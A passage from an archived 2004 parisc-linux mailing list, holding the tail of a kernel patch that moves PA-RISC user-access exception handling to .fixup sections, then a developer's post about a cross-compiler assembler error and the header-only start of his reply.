+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -175,15 +186,19 @@ static int emulate_ldw(struct pt_regs *r
 "	subi	32,%%r19,%%r19\n"
 "	mtctl	%%r19,11\n"
 "	vshd	%0,%%r20,%0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -222,15 +237,19 @@ static int emulate_ldd(struct pt_regs *r
 "	subi	64,%%r19,%%r19\n"
 "	mtsar	%%r19\n"
 "	shrpd	%0,%%r20,%%sar,%0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -250,17 +269,20 @@ static int emulate_ldd(struct pt_regs *r
 "	mtsar	%%r19\n"
 "	vshd	%0,%1,%0\n"
 "	vshd	%1,%%r20,%1\n"
-"	cmpclr,= %%r0, %%r0, %2\n"
-"4:	ldo	-2(%%r0), %2\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %2\n"
+"4:	\n"
+"	.section .fixup,\"ax\"\n"
+"5:	ldi	-2, %2\n"
+	FIXUP_BRANCH(4b)
+"	.previous\n"
 #ifdef __LP64__
-"	.dword	1b,(4b-1b)\n"
-"	.dword  2b,(4b-2b)\n"
-"	.dword	3b,(4b-3b)\n"
-#else
-"	.word	1b,(4b-1b)\n"
-"	.word	2b,(4b-2b)\n"
-"	.word	3b,(4b-3b)\n"
+"	.dword	1b,5b\n"
+"	.dword  2b,5b\n"
+"	.dword	3b,5b\n"
+#else
+"	.word	1b,5b\n"
+"	.word	2b,5b\n"
+"	.word	3b,5b\n"
 #endif
 "	.previous\n"
 	: "=r" (valh), "=r" (vall), "=r" (ret)
@@ -296,15 +318,19 @@ static int emulate_sth(struct pt_regs *r
 "	extrw,u %1, 23, 8, %%r19\n"
 "1:	stb %1, 1(%%sr1, %2)\n"
 "2:	stb %%r19, 0(%%sr1, %2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"3:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %0\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -346,15 +372,19 @@ static int emulate_stw(struct pt_regs *r
 "	or	%%r1, %%r21, %%r21\n"
 "	stw	%%r20,0(%%sr1,%2)\n"
 "	stw	%%r21,4(%%sr1,%2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"3:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %0\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -399,19 +429,23 @@ static int emulate_std(struct pt_regs *r
 "	or	%%r1, %%r21, %%r21\n"
 "3:	std	%%r20,0(%%sr1,%2)\n"
 "4:	std	%%r21,8(%%sr1,%2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"5:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"5:	\n"
+"	.section .fixup,\"ax\"\n"
+"6:	ldi	-2, %0\n"
+	FIXUP_BRANCH(5b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(5b-1b)\n"
-"	.dword  2b,(5b-2b)\n"
-"	.dword	3b,(5b-3b)\n"
-"	.dword  4b,(5b-4b)\n"
-#else
-"	.word	1b,(5b-1b)\n"
-"	.word	2b,(5b-2b)\n"
-"	.word	3b,(5b-3b)\n"
-"	.word	4b,(5b-4b)\n"
+"	.dword	1b,6b\n"
+"	.dword  2b,6b\n"
+"	.dword	3b,6b\n"
+"	.dword  4b,6b\n"
+#else
+"	.word	1b,6b\n"
+"	.word	2b,6b\n"
+"	.word	3b,6b\n"
+"	.word	4b,6b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -438,21 +472,25 @@ static int emulate_std(struct pt_regs *r
 "3:	stw	%1,0(%%sr1,%1)\n"
 "4:	stw	%%r1,4(%%sr1,%3)\n"
 "5:	stw	%2,8(%%sr1,%3)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"6:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"6:	\n"
+"	.section .fixup,\"ax\"\n"
+"7:	ldi	-2, %0\n"
+	FIXUP_BRANCH(6b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(6b-1b)\n"
-"	.dword  2b,(6b-2b)\n"
-"	.dword	3b,(6b-3b)\n"
-"	.dword  4b,(6b-4b)\n"
-"	.dword  5b,(6b-5b)\n"
-#else
-"	.word	1b,(6b-1b)\n"
-"	.word	2b,(6b-2b)\n"
-"	.word	3b,(6b-3b)\n"
-"	.word	4b,(6b-4b)\n"
-"	.word  	5b,(6b-5b)\n"
+"	.dword	1b,7b\n"
+"	.dword  2b,7b\n"
+"	.dword	3b,7b\n"
+"	.dword  4b,7b\n"
+"	.dword  5b,7b\n"
+#else
+"	.word	1b,7b\n"
+"	.word	2b,7b\n"
+"	.word	3b,7b\n"
+"	.word	4b,7b\n"
+"	.word  	5b,7b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
Index: arch/parisc/lib/Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/lib/Makefile,v
retrieving revision 1.2
diff -u -p -r1.2 Makefile
--- arch/parisc/lib/Makefile	1 Jul 2004 18:30:36 -0000	1.2
+++ arch/parisc/lib/Makefile	14 Sep 2004 22:30:09 -0000
@@ -2,6 +2,6 @@
 # Makefile for parisc-specific library files
 #
 
-lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o
+lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o fixup.o
 
 lib-$(CONFIG_SMP) += debuglocks.o
Index: arch/parisc/lib/lusercopy.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/lib/lusercopy.S,v
retrieving revision 1.3
diff -u -p -r1.3 lusercopy.S
--- arch/parisc/lib/lusercopy.S	17 Jan 2004 06:39:24 -0000	1.3
+++ arch/parisc/lib/lusercopy.S	14 Sep 2004 22:30:09 -0000
@@ -53,6 +53,18 @@
 	mtsp        %r1,%sr1
 	.endm
 
+#ifndef __LP64__
+	.macro fixup_branch lbl
+	b	    \lbl
+	.endm
+#else
+	.macro fixup_branch lbl
+	ldil	    L%\lbl, %r1
+	ldo	    R%\lbl(%r1), %r1
+	bv,n        %r0(%r1)
+	.endm
+#endif
+
 	/*
 	 * unsigned long
 	 * lcopy_to_user(void *to, const void *from, unsigned long n)
@@ -77,14 +89,16 @@ $lctu_done:
 	copy        %r24,%r28
 	.exit
 
-2:      b $lctu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lctu_done
 	ldo         1(%r24),%r24
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -118,18 +132,20 @@ $lcfu_done:
 	copy        %r24,%r28
 	.exit
 
+	.section .fixup,"ax"
 2:      copy        %r24,%r23
 $lcfu_zero_loop:
 	addib,<>    -1,%r23,$lcfu_zero_loop
 	stbs,ma     %r0,1(%r26)
-	b           $lcfu_done
+	fixup_branch $lcfu_done
 	nop
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -159,14 +175,16 @@ $lciu_done:
 	copy        %r24,%r28
 	.exit
 
-2:      b $lciu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lciu_done
 	ldo         1(%r24),%r24
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -201,16 +219,18 @@ $lsfu_exit:
 	nop
 	.exit
 
-3:      b           $lsfu_exit
+	.section .fixup,"ax"
+3:      fixup_branch $lsfu_exit
 	ldi         -EFAULT,%r28
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(3b-1b)
-	.dword      2b,(3b-2b)
+	.dword      1b,3b
+	.dword      2b,3b
 #else
-	.word       1b,(3b-1b)
-	.word       2b,(3b-2b)
+	.word       1b,3b
+	.word       2b,3b
 #endif
 	.previous
 
@@ -239,14 +259,16 @@ $lclu_done:
 	copy        %r25,%r28
 	.exit
 
-2:      b $lclu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lclu_done
 	ldo        1(%r25),%r25
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -282,16 +304,18 @@ $lslen_nzero:
 	b           $lslen_done
 	ldo         1(%r26),%r26 /* special case for N == 0 */
 
-3:      b           $lslen_done
+	.section .fixup,"ax"
+3:      fixup_branch $lslen_done
 	copy        %r24,%r26    /* reset r26 so 0 is returned on fault */
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(3b-1b)
-	.dword      2b,(3b-2b)
+	.dword      1b,3b
+	.dword      2b,3b
 #else
-	.word       1b,(3b-1b)
-	.word       2b,(3b-2b)
+	.word       1b,3b
+	.word       2b,3b
 #endif
 	.previous
 
Index: arch/parisc/mm/fault.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/fault.c,v
retrieving revision 1.1
diff -u -p -r1.1 fault.c
--- arch/parisc/mm/fault.c	29 Jul 2003 17:00:42 -0000	1.1
+++ arch/parisc/mm/fault.c	14 Sep 2004 22:30:09 -0000
@@ -36,6 +36,9 @@
 
 #define BITSSET		0x1c0	/* for identifying LDCW */
 
+
+DEFINE_PER_CPU(struct exception_data, exception_data);
+
 /*
  * parisc_acctyp(unsigned int inst) --
  *    Given a PA-RISC memory access instruction, determine if the
@@ -234,13 +237,16 @@ no_context:
 		fix = search_exception_tables(regs->iaoq[0]);
 
 		if (fix) {
+			struct exception_data *d;
+
+printk("applying fixup for 0x%lx, fixup at 0x%lx\n", regs->iaoq[0], fix->fixup & ~3);
 
-			if (fix->skip & 1) 
-				regs->gr[8] = -EFAULT;
-			if (fix->skip & 2)
-				regs->gr[9] = 0;
+			d = &__get_cpu_var(exception_data);
+			d->fault_ip = regs->iaoq[0];
+			d->fault_space = regs->isr;
+			d->fault_addr = regs->ior;
 
-			regs->iaoq[0] += ((fix->skip) & ~3);
+			regs->iaoq[0] = ((fix->fixup) & ~3);
 
 			/*
 			 * NOTE: In some cases the faulting instruction
Index: include/asm-parisc/uaccess.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/uaccess.h,v
retrieving revision 1.15
diff -u -p -r1.15 uaccess.h
--- include/asm-parisc/uaccess.h	13 Sep 2004 16:43:28 -0000	1.15
+++ include/asm-parisc/uaccess.h	14 Sep 2004 22:30:19 -0000
@@ -55,16 +55,22 @@ extern int __put_user_bad(void);
 /*
  * The exception table contains two values: the first is an address
  * for an instruction that is allowed to fault, and the second is
- * the number of bytes to skip if a fault occurs. We also support in
- * two bit flags: 0x2 tells the exception handler to clear register
- * r9 and 0x1 tells the exception handler to put -EFAULT in r8.
- * This allows us to handle the simple cases for put_user and
- * get_user without having to have .fixup sections.
+ * the address to the fixup routine. 
  */
 
 struct exception_table_entry {
 	unsigned long insn;  /* address of insn that is allowed to fault.   */
-	long skip;           /* pcoq skip | r9 clear flag | r8 -EFAULT flag */
+	long fixup;          /* fixup routine */
+};
+
+/*
+ * The page fault handler stores, in a per-cpu area, the following information
+ * if a fixup routine is available.
+ */
+struct exception_data {
+	unsigned long fault_ip;
+	unsigned long fault_space;
+	unsigned long fault_addr;
 };
 
 #define __get_user(x,ptr)                               \
@@ -98,48 +104,44 @@ struct exception_table_entry {
 #ifdef __LP64__
 #define __get_kernel_asm(ldx,ptr)                       \
 	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.dword\t1b\n"                       \
-		 "\t.dword\t(2b-1b)+3\n"                \
-		 "\t.previous"                          \
+		"\t.section __ex_table,\"aw\"\n"        \
+		"\t.dword\t1b,fixup_get_user_skip_1\n"	\
+		"\t.previous"                          	\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err));
+		: "r"(ptr), "1"(__gu_err)		\
+		: "r1");
 
 #define __get_user_asm(ldx,ptr)                         \
 	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.dword\t1b\n"                       \
-		 "\t.dword\t(2b-1b)+3\n"                \
-		 "\t.previous"                          \
+		"\t.section __ex_table,\"aw\"\n"	\
+		"\t.dword\t1b,fixup_get_user_skip_1\n"	\
+		"\t.previous"				\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err));
+		: "r"(ptr), "1"(__gu_err)		\
+		: "r1");
 #else
 #define __get_kernel_asm(ldx,ptr)                       \
 	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.word\t1b\n"                        \
-		 "\t.word\t(2b-1b)+3\n"                 \
-		 "\t.previous"                          \
+		"\t.section __ex_table,\"aw\"\n"        \
+		"\t.word\t1b,fixup_get_user_skip_1\n"	\
+		"\t.previous"                          	\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err));
+		: "r"(ptr), "1"(__gu_err)		\
+		: "r1");
 
 #define __get_user_asm(ldx,ptr)                         \
 	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.word\t1b\n"                        \
-		 "\t.word\t(2b-1b)+3\n"                 \
+		"\t.section __ex_table,\"aw\"\n"	\
+		 "\t.word\t1b,fixup_get_user_skip_1\n"	\
 		 "\t.previous"                          \
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err));
+		: "r"(ptr), "1"(__gu_err)		\
+		: "r1");
 #endif /* !__LP64__ */
 
 #define __put_user(x,ptr)                                       \
 ({								\
-	register long __pu_err __asm__ ("r8") = 0;		\
+	register long __pu_err __asm__ ("r8") = 0;      	\
 								\
 	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
 	    switch (sizeof(*(ptr))) {                           \
@@ -173,82 +175,73 @@ struct exception_table_entry {
 #define __put_kernel_asm(stx,x,ptr)                         \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%1)\n"                 \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.dword\t1b\n"                           \
-		 "\t.dword\t(2b-1b)+1\n"                    \
-		 "\t.previous"                              \
+		"\t.section __ex_table,\"aw\"\n"            \
+		"\t.dword\t1b,fixup_put_user_skip_1\n"	    \
+		"\t.previous"                               \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
 
 #define __put_user_asm(stx,x,ptr)                           \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.dword\t1b\n"                           \
-		 "\t.dword\t(2b-1b)+1\n"                    \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.dword\t1b,fixup_put_user_skip_1\n"	    \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err))
+		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
+		: "r1")
 #else
 #define __put_kernel_asm(stx,x,ptr)                         \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%1)\n"                 \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.word\t1b\n"                            \
-		 "\t.word\t(2b-1b)+1\n"                     \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.word\t1b,fixup_put_user_skip_1\n"	    \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err))
+		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
+		: "r1")
 
 #define __put_user_asm(stx,x,ptr)                           \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.word\t1b\n"                            \
-		 "\t.word\t(2b-1b)+1\n"                     \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.word\t1b,fixup_put_user_skip_1\n"      \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err))
+		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
+		: "r1")
 
-static inline void __put_kernel_asm64(u64 x, void *ptr)
-{
-	u32 hi = x>>32;
-	u32 lo = x&0xffffffff;
-	__asm__ __volatile__ (
-		"\n1:\tstw %1,0(%0)\n"
-		"\n2:\tstw %2,4(%0)\n"
-		"3:\n"
-		"\t.section __ex_table,\"aw\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
-		 "\t.previous"
-		: : "r"(ptr), "r"(hi), "r"(lo));
-
-}
-
-static inline void __put_user_asm64(u64 x, void *ptr)
-{
-	u32 hi = x>>32;
-	u32 lo = x&0xffffffff;
-	__asm__ __volatile__ (
-		"\n1:\tstw %1,0(%%sr3,%0)\n"
-		"\n2:\tstw %2,4(%%sr3,%0)\n"
-		"3:\n"
-		"\t.section __ex_table,\"aw\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
-		 "\t.previous"
-		: : "r"(ptr), "r"(hi), "r"(lo));
-
-}
+#define __put_kernel_asm64(__val,ptr) do {		    	    \
+	u64 __val64 = (u64)(__val);				    \
+	u32 hi = (__val64) >> 32;					    \
+	u32 lo = (__val64) & 0xffffffff;				    \
+	__asm__ __volatile__ (				    \
+		"\n1:\tstw %2,0(%1)\n"			    \
+		"\n2:\tstw %3,4(%1)\n"			    \
+		"\t.section __ex_table,\"aw\"\n"	    \
+		 "\t.word\t1b,fixup_put_user_skip_2\n"	    \
+		 "\t.word\t2b,fixup_put_user_skip_1\n"	    \
+		 "\t.previous"				    \
+		: "=r"(__pu_err)                            \
+		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
+		: "r1");				    \
+} while (0)
+
+#define __put_user_asm64(__val,ptr) do {		    	    \
+	u64 __val64 = (u64)__val;				    \
+	u32 hi = (__val64) >> 32;					    \
+	u32 lo = (__val64) & 0xffffffff;				    \
+	__asm__ __volatile__ (				    \
+		"\n1:\tstw %2,0(%%sr3,%1)\n"		    \
+		"\n2:\tstw %3,4(%%sr3,%1)\n"		    \
+		"\t.section __ex_table,\"aw\"\n"	    \
+		 "\t.word\t1b,fixup_get_user_skip_2\n"	    \
+		 "\t.word\t2b,fixup_get_user_skip_1\n"	    \
+		 "\t.previous"				    \
+		: "=r"(__pu_err)                            \
+		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
+		: "r1");				    \
+} while (0)
 
 #endif /* !__LP64__ */
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] i386 cross-compiler for hppa/hppa64 ?
Date: Wed, 15 Sep 2004 21:13:56 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <200409152113.57033.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623558 11075 80.91.229.3 (22 Nov 2014 02:32:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29905 invoked by uid 65534); 15 Sep 2004 19:15:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 15 Sep 2004 21:15:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CE15B3BE0E; Wed, 15 Sep 2004 13:14:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12782-03; Wed, 15 Sep 2004 13:14:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 04B193BE16; Wed, 15 Sep 2004 13:14:05 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C3763BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Sep 2004 13:14:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12074-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Sep 2004 13:14:00 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id AEB403BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Sep 2004 13:13:59 -0600 (MDT)
Original-Received: (qmail 24276 invoked by uid 65534); 15 Sep 2004 19:13:57 -0000
Original-Received: from pD9FE7320.dip.t-dialin.net (EHLO p100) (217.254.115.32)
	by mail.gmx.net (mp018) with SMTP; 15 Sep 2004 21:13:57 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.7
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21994

Hi all,

running today into the following compile problem with current PARISC CVS HEAD with my old gcc 3.0.2 i386/hppa crosscompiler:
....
  CC      arch/parisc/kernel/unaligned.o
{standard input}: Assembler messages:
{standard input}:158: Error: operation combines symbols in different segments
make[1]: *** [arch/parisc/kernel/unaligned.o] Error 1

i started looking for a newer gcc cross-compiler to download.

The cross-compiler section on the parisc homepage at http://parisc-linux.org/software/index.html#xcs links to 
http://ftp.parisc-linux.org/x86-xcompilers/   and  
ESIEE Team's download page at http://www.pateam.org/download.html#deb

Both links sadly only contain really old crosscompilers.
Maybe someone is looking for an interesting job and could provide new cross compilers either as .deb or rpm packages and update the website ?

Thanks,
Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i386 cross-compiler for hppa/hppa64 ?
Date: Wed, 15 Sep 2004 21:33:30 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <200409152133.30899.deller@gmx.de>
References: <200409152113.57033.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623559 11077 80.91.229.3 (22 Nov 2014 02:32:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7334 invoked by uid 65534); 15 Sep 2004 19:34:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 15 Sep 2004 21:34:27 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7CADE3BE16; Wed, 15 Sep 2004 13:34:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
